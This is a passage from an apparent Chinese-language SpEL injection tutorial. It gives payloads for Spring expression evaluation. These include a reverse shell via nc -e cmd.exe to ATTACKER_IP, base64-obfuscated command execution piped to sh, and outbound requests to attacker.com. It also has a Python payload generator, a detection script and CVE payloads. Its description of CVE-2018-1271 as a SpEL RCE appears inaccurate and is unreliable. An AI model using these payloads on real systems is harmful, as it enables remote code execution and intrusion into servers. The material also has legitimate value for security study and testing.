T(java.lang.Runtime).getRuntime().exec("cmd /c nc -e cmd.exe ATTACKER_IP PORT")

9.3 一些问题

命令执行无回显

原因:

  • 命令执行出错
  • 输出被重定向
  • 权限不足

解决:

// 错误输出也能获取
new java.util.Scanner(
    T(java.lang.Runtime).getRuntime().exec("whoami 2>&1").getInputStream()
).next()

// 或使用ProcessBuilder重定向错误流
new java.lang.ProcessBuilder("cmd", "/c", "whoami")
    .redirectErrorStream(true)
    .start()

特殊字符转义

问题:

命令中有&、|、>等特殊字符被URL编码或转义

解决:

// 使用Base64编码
T(java.lang.Runtime).getRuntime().exec("cmd /c echo Y21kIC9jIHdob2FtaQ== | base64 -d | sh")

// 或使用变量
T(java.lang.Runtime).getRuntime().exec(new String[]{"sh", "-c", "命令"})

路径空格

问题:

路径中有空格导致命令解析错误

解决:

// 使用数组参数
T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd", "/c", "C:\\Program Files\\app.exe"})

中文乱码

问题:
命令输出中文乱码

解决:

new java.lang.String(
    T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/tmp/中文文件.txt")),
    "GBK"
)

十、SpEL高级技巧

10.1 Bean操作

// 获取Spring容器
T(org.springframework.web.context.request.RequestContextHolder)
    .currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT")

// 获取Bean
context.getBean("beanName")

// 调用Bean方法
context.getBean("userService").getUser(1)

10.2 环境变量

// 获取单个环境变量
T(java.lang.System).getenv("PATH")

// 获取所有环境变量
T(java.lang.System).getenv()

// 获取系统属性
T(java.lang.System).getProperty("java.home")
T(java.lang.System).getProperty("java.version")

10.3 类加载器

// 获取当前类加载器
T(org.springframework.util.ClassUtils).getDefaultClassLoader()

// 获取上下文类加载器
T(java.lang.Thread).currentThread().getContextClassLoader()

// 加载类
T(org.springframework.util.ClassUtils)
    .getDefaultClassLoader()
    .loadClass("java.lang.Runtime")

10.4 线程操作

// 获取当前线程
T(java.lang.Thread).currentThread()

// 获取线程名
T(java.lang.Thread).currentThread().getName()

// 获取线程组
T(java.lang.Thread).currentThread().getThreadGroup()

10.5 网络操作

// HTTP请求
new java.net.URL("http://attacker.com").openStream()

// DNS查询
T(java.net.InetAddress).getByName("test.attacker.com")

// 端口扫描
new java.net.Socket("target.com", 22).connect()

十一、工具与自动化

11.1 SpEL注入工具

在线工具:

  • Spring Expression Injection Playground
  • HackTricks SpEL Cheatsheet

本地工具:

#!/usr/bin/env python3
# SpEL Payload Generator

import urllib.parse

def generate_runtime_exec(command):
    """生成Runtime.exec payload"""
    return f"T(java.lang.Runtime).getRuntime().exec('{command}')"

def generate_process_builder(command):
    """生成ProcessBuilder payload"""
    return f"new java.lang.ProcessBuilder('{command}').start()"

def generate_script_engine_js(code):
    """生成ScriptEngine JS payload"""
    return f"new javax.script.ScriptEngineManager().getEngineByName('js').eval('{code}')"

def urlencode(payload):
    """URL编码"""
    return urllib.parse.quote(payload)

# 示例
if __name__ == "__main__":
    cmd = "whoami"
    payload = generate_runtime_exec(cmd)
    print(f"Payload: {payload}")
    print(f"URL Encoded: {urlencode(payload)}")

11.2 自动化检测脚本

#!/usr/bin/env python3
import requests

def test_spel_injection(url, param):
    """测试SpEL注入"""

    # 测试用例
    tests = [
        ("1+1", "2"),  # 算术运算
        ("T(java.lang.Math).PI", "3.14"),  # 类型引用
        ("'hello'+'world'", "helloworld"),  # 字符串拼接
    ]

    for payload, expected in tests:
        response = requests.get(url, params={param: payload})

        if expected in response.text:
            print(f"[+] SpEL Injection confirmed!")
            print(f"[+] Payload: {payload}")
            print(f"[+] Response contains: {expected}")
            return True

    print("[-] No SpEL injection detected")
    return False

# 使用
# test_spel_injection("http://target.com/spel", "input")

十二、realworld

CVE-2018-1270

Spring Security Messaging RCE

影响版本:

  • Spring Framework 5.0 to 5.0.5
  • Spring Framework 4.3 to 4.3.15

漏洞原理:
Spring Messaging中的WebSocket消息处理使用了SpEL,且未对用户输入进行过滤。

Payload:

{
  "selectors": [
    "T(java.lang.Runtime).getRuntime().exec('calc')"
  ]
}

CVE-2018-1271

Spring Content-Disposition RCE

影响版本:

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

Payload:

filename="whatever.pwn; T(java.lang.Runtime).getRuntime().exec('calc'); =.txt"

参考文章:

Spring官方文档:https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions

SpEL语法指南:https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions-language-reference

P牛:https://leavesong.github.io/2017/02/19/Spring-Boot-框架下的一些经典RCE

安全客:https://www.anquanke.com/post/id/202751

先知社区:https://xz.aliyun.com/t/9318